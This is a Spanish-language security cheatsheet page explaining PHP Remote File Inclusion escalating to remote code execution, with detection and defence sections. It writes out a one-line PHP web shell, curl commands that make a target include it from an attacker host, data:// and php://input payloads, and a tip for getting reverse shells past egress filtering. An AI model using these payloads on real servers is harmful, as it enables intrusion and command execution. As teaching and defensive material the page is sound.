the_open_door
café
ESEN
← Volver al índice

Remote File Inclusion (RFI) to RCE

Arsenal completo de comandos en la cheatsheet

La inclusión remota de ficheros (Remote File Inclusion, RFI) ocurre cuando una aplicación PHP pasa entrada del usuario a include()/require() sin validarla y la configuración permite incluir rutas remotas (URLs). El patrón vulnerable es tan simple como:

include($_GET['img']);   // image.php?img=...

A diferencia de la inclusión local (LFI), que solo lee ficheros del propio servidor, la RFI deja apuntar a un recurso que controlamos nosotros. Y como include() ejecuta el contenido como PHP, alojar una shell y pasar su URL convierte la inclusión en ejecución de comandos (RCE):

# rev.php alojado en la maquina atacante
echo '<?php system($_GET["cmd"]); ?>' > rev.php
python3 -m http.server 80     # sirve rev.php

# se fuerza la inclusion remota y se ejecuta
curl "http://<ip>/image.php?img=http://<lhost>/rev.php&cmd=id"
# tambien por SMB (Windows/PHP): \\<lhost>\share\rev.php

Si allow_url_include está activo pero no se puede alojar el fichero, los wrappers evitan el servidor remoto:

# data:// (codigo PHP en la propia URL, base64)
curl "http://<ip>/image.php?img=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=id"
# php://input (el codigo PHP va en el cuerpo del POST)
curl "http://<ip>/image.php?img=php://input&c=id" --data '<?php system($_GET["c"]); ?>'

El requisito clave es que PHP tenga allow_url_include=On (a menudo junto a allow_url_fopen). Sin esa opción la inclusión remota falla y solo queda la vía local; por eso conviene probar ambas. En versiones antiguas también se combinaba con un null byte %00 para descartar un sufijo añadido.

Detalle de explotación: el retorno. Lograr que el servidor incluya la shell es solo la mitad. La reverse shell tiene que poder salir hacia nosotros: si la máquina filtra el tráfico de egreso, una conexión a un puerto arbitrario (4444) quedará colgada aunque la inclusión funcione. Apuntar el retorno a un puerto que la máquina ya tiene abierto (21, 80, 443) suele sortear ese filtrado.

Por qué importa. La RFI entrega ejecución de código con el privilegio del proceso web (típicamente www-data o apache), un punto de apoyo sólido desde el que enumerar credenciales y escalar. Es un fallo clásico de aplicaciones PHP antiguas o mal configuradas.

Cómo detectarlo. La firma es inequívoca en el log de acceso: un parámetro de inclusión con un valor http:///https:///ftp:// (img=http://<lhost>/rev.php), es decir, el servidor descargando un recurso remoto a instancia de una petición web. Un WAF que inspeccione parámetros con esquemas de URL lo bloquea. En el host, el proceso web realizando una conexión saliente para traer el fichero y luego lanzando sh/bash es la confirmación (auditd/Sysmon for Linux + logs de firewall de egreso). El retorno de la reverse shell a un puerto abierto (21/80/443) es el indicio de red que la acompaña.

Defensa. Mantener allow_url_include=Off (valor por defecto desde hace años), no construir rutas de inclusión a partir de entrada del usuario y, si hace falta cargar recursos dinámicos, usar una lista blanca estricta de ficheros permitidos. Relacionado con LFI/path traversal y la inyección de comandos.

Máquinas donde se aplica